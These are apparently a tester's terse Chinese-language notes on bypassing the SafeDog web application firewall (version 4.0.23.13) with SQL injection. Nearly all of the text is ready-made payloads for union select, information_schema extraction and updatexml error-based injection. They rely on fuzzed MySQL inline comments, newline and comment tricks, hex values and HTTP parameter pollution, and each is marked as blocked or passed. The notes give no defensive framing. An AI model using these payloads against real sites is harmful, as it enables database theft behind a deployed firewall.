and 1=1 绕过
正常使用 ?id=tom' and 1=1 --+
会被拦截
使用&&
替换and
无法绕过
使用内联注释/*!11440 */
可以绕过
继续使用and
and 0x1
可以使用十六进制绕过
##### http参数污染
order by绕过
使用换行符和注释绕过
?name=tom'/**/order/*/%0A*/by/**/3%23
使用http参数污染
name=tom1' /*&name=tom' order by 3%23*/
union select 绕过
内联注入
尝试使用?id=tom' union/*!11440select*/ 1,2,3 --+
fuzz跑了下10000-99999都无法绕过
换行符+注释
无法绕过
内联注释+换行符
tom%27/**/union/*!§10440§asd*//*!%0a*/select/**/1,2,3%20--+
fuzz一下,发现91625以后的都可以绕过
http参数污染
?name=tom1' /*&name=tom1' union select 1,2,3%23*/
database()、user()绕过
databse/*!91624*/()``
user/!99999/()``
这里也可以通过内联注释 中间数字没试 随便输入了几个
information_schema绕过
使用内联注释+fuzz
没绕过
利用http参数污染
?name=tom1' /*&name=tom1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),user()%23*/
报错注入
内联注释+fuzz
updatexml
无waf情况下
开启安全狗
updataxml()会被拦截,中间加内联注释可以绕过
and updatexml/*!99999*/(1,concat(0x7e,(select database/*!99999*/()),0x7e),1) --+
但是
and updatexml/*!99999*/(1,concat(0x7e,(select/*!99999aaa*/database/*!99999*/()),0x7e),1) --+
会被拦截
测试了下 select from ...
后面加东西就会被拦截
在from 后面添加 %23%0a
可以绕过
and updatexml/*!99999*/(1,concat(0x7e,(select name from%23%0A%20 test ),0x7e),1) --+
http参数污染
?name=tom1' /*&name=tom' and updatexml(1,concat(0x7e,database(),0x7e),1)%23*/
盲注
http参数污染
总结
在此版本的安全狗(4.0.23.13)中,利用http参数污染都可以绕过
有些也可以使用内联注释+fuzz+换行符进行绕过